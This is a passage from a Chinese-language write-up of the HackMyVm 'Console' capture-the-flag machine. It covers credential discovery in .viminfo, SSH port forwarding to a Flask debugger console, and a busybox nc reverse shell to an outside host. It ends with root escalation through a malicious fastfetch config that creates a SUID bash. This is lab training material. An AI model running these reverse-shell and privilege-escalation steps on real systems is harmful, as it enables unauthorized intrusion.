文章总结: 本文记录了HackMyVm靶场Console的渗透过程。通过端口扫描发现域名并绑定,分析JS代码找到命令执行漏洞获取初始Shell,注意反弹Shell仅限443端口。随后通过viminfo泄露密码登录welcome用户,利用端口转发访问Flask控制台获取qaq权限,最后利用fastfetch配置文件加载恶意命令进行SUID提权,最终拿到root权限。 综合评分: 85 文章分类: 渗透测试,CTF,WEB安全

)
我们在qaq用户里面什么也没有发现,我们在welcome用户里面发现了user.txt
然后接下来的思路就是我们需要去切换到welcome或者是qaq用户里面,www-data用户权限太低了什么都干不了
一般情况下,我们都是去搜索welcome和qaq用户相关的文件,或者是密码文件,但是这里都没有
find / -name '*.txt* 2>/dev/nullfind / -user welcome 2>/dev/nullfind / -user qaq 2>/dev/null
然后就没有了,不过仔细发现 .viminfo文件是root用户,我们猜测可能有什么信息,我们去查看
发现了welcome用户的密码,我们去登录
5)登录welcome
welcome:welcome123
登录成功,我们使用sudo -l,可以看到有一个日志文件 /opt/flask-app/logs/flask.log,我们需要使用qaq用户去查看的,我们去看看
sudo -u qaq cat /opt/flask-app/logs/flask.log
大概意思是,我们需要去端口转发5000端口到本地,我们去转发然后访问
Debugger PIN: 471-575-410
这个应该是有用的,我们先保存下来
6)端口转发
我们直接使用ssh进行端口转发即可
ssh -L 0.0.0.0:5000:127.0.0.1:5000 [email protected]
我们去访问127.0.0.1:5000在kali里面
我们可以看到转发成功
我们去扫描一下,可以扫描到一个console目录,我们去访问看看
http://127.0.0.1:5000/console
出现一个输入框可以看到是PlN,我们输入前面的数字:
471-575-410
提示我们使用python进行命令执行,那么我们进行反弹试试看,这里我们还是使用443端口
import os;os.system("busybox nc 192.168.137.102 443 -e /bin/bash")
我们可以看到反弹成功,而且用户是qaq用户,我们去看看
7)qaq用户
我们可以无密码执行/usr/bin/fastfetch,我们去看看怎么使用
我们让ai给我们去分析
8)提权
我们利用 –config 加载恶意配置 (代码执行)进行提权
这里我们只能使用json格式的文件
第一步: 创建 JSON 恶意配置
在 /tmp 下重新写入 exploit.jsonc:
cat << EOF > /tmp/exploit.jsonc{ "\$schema": "https://github.com/fastfetch-cli/fastfetch/raw/dev/doc/json_schema.json", "modules": [ { "type": "command", "key": "Exploit", "shell": "/bin/bash", "text": "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" } ]}EOF
#
第二步:再次尝试 sudo 执行
使用新格式的配置文件运行:
sudo /usr/bin/fastfetch -c /tmp/exploit.jsonc
#
第三步:验证并进入 Root
如果执行没有报错(或者显示了 “Exploit” 模块),立即执行:
ls -l /tmp/rootbash/tmp/rootbash -p
我们可以看到是root用户,我们获取r00t.txt即可
至此,这个靶机渗透成功。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423 MS02423《HackMyVm靶场之Console》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论